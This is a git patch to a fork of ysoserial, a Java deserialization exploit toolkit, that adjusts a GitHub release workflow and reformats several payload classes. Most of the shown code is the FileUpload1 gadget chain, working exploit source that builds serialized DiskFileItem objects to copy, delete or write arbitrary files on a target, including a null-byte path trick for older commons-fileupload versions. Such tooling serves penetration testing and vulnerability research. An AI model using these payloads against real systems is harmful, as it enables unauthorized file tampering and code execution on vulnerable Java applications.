From d9c2d6cad999c201cf47a0f6bc4a3f5ab7ed2d5b Mon Sep 17 00:00:00 2001 From: rootphantomer Date: Thu, 20 Oct 2022 11:26:03 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BC=98=E5=8C=96publish.yml?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit fix up --- .github/workflows/publish.yml | 8 +-- .../payloads/CommonsCollections9.java | 2 +- .../java/ysoserial/payloads/FileUpload1.java | 57 +++++++++---------- .../java/ysoserial/payloads/Hibernate1.java | 2 +- 4 files changed, 33 insertions(+), 36 deletions(-) diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml index 6903c471..eb138470 100644 --- a/.github/workflows/publish.yml +++ b/.github/workflows/publish.yml @@ -2,7 +2,7 @@ name: publish jar on: push: tags: - - "v*.*.*" + - "v*" permissions: contents: write @@ -22,7 +22,7 @@ jobs: - name: Set version run: mvn versions:set -DnewVersion=${{ github.ref_name }} - name: Build jar - run: mvn -B clean package -DskipTests + run: mvn -B clean package -DskipTests # - name: publish maven jar # run: mvn -B deploy -DskipTests -DrepositoryId=github env: @@ -35,6 +35,6 @@ jobs: - name: Publish GitHub release uses: softprops/action-gh-release@v1 env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: - files: target/ysoserial-all.jar \ No newline at end of file + files: target/ysoserial-all.jar diff --git a/src/main/java/ysoserial/payloads/CommonsCollections9.java b/src/main/java/ysoserial/payloads/CommonsCollections9.java index 5920b0c3..63d751cf 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections9.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections9.java @@ -17,7 +17,7 @@ @Dependencies({"commons-collections:commons-collections:3.1"}) public class CommonsCollections9 extends PayloadRunner implements ObjectPayload { - // 序列化就报错，未成功 + @Override public BadAttributeValueExpException getObject(String command) throws Exception { final String[] execArgs = new String[]{command}; diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java index 46c24aaa..3a3a15d7 100644 --- a/src/main/java/ysoserial/payloads/FileUpload1.java +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -22,14 +22,14 @@ /** * Gadget chain: * DiskFileItem.readObject() - * + *

* Arguments: * - copyAndDelete;sourceFile;destDir * - write;destDir;ascii-data * - writeB64;destDir;base64-data * - writeOld;destFile;ascii-data * - writeOldB64;destFile;base64-data - * + *

* Yields: * - copy an arbitraty file to an arbitrary directory (source file is deleted if possible) * - pre 1.3.1 (+ old JRE): write data to an arbitrary file @@ -37,70 +37,67 @@ * * @author mbechler */ -@Dependencies ( { +@Dependencies({ "commons-fileupload:commons-fileupload:1.3.1", "commons-io:commons-io:2.4" -} ) -@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = "possible race condition") -@Authors({ Authors.MBECHLER }) +}) +@PayloadTest(harness = "ysoserial.test.payloads.FileUploadTest", precondition = "isApplicableJavaVersion", flaky = + "possible race condition") +@Authors({Authors.MBECHLER}) public class FileUpload1 implements ReleaseableObjectPayload { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); } - public DiskFileItem getObject ( String command ) throws Exception { + public DiskFileItem getObject(String command) throws Exception { String[] parts = command.split(";"); - if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) { - return copyAndDelete(parts[ 1 ], parts[ 2 ]); - } - else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) { - return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); - } - else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) { - return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); - } - else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) { - return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII")); - } - else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) { - return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ])); - } - else { + if (parts.length == 3 && "copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } else if (parts.length == 3 && "write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes("US-ASCII")); + } else if (parts.length == 3 && "writeB64".equals(parts[0])) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } else if (parts.length == 3 && "writeOld".equals(parts[0])) { + return writePre131(parts[1], parts[2].getBytes("US-ASCII")); + } else if (parts.length == 3 && "writeOldB64".equals(parts[0])) { + return writePre131(parts[1], Base64.decodeBase64(parts[2])); + } else { throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); } } - public void release ( DiskFileItem obj ) throws Exception { + public void release(DiskFileItem obj) throws Exception { // otherwise the finalizer deletes the file DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); Reflections.setFieldValue(obj, "dfos", dfos); } - private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception { + private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception { return makePayload(0, copyTo, copyAndDelete, new byte[1]); } // writes data to a random filename (update__.tmp) - private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception { + private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception { return makePayload(data.length + 1, dir, dir + "/whatever", data); } // writes data to an arbitrary file - private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception { + private static DiskFileItem writePre131(String file, byte[] data) throws IOException, Exception { return makePayload(data.length + 1, file + "\0", file, data); } - private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { // if thresh < written length, delete outputFile after copying to repository temp file // otherwise write the contents to repository temp file File repository = new File(repoPath); - DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, + repository); File outputFile = new File(filePath); DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); @@ -112,7 +109,7 @@ private static DiskFileItem makePayload ( int thresh, String repoPath, String fi } - public static void main ( final String[] args ) throws Exception { + public static void main(final String[] args) throws Exception { PayloadRunner.run(FileUpload1.class, args); } diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java index 0c644143..2a773929 100644 --- a/src/main/java/ysoserial/payloads/Hibernate1.java +++ b/src/main/java/ysoserial/payloads/Hibernate1.java @@ -43,7 +43,7 @@ */ @Authors({ Authors.MBECHLER }) @PayloadTest(precondition = "isApplicableJavaVersion") -public class Hibernate1 implements ObjectPayload, DynamicDependencies { +public class Hibernate1 implements ObjectPayload, DynamicDependencies { public static boolean isApplicableJavaVersion() { return JavaVersion.isAtLeast(7); }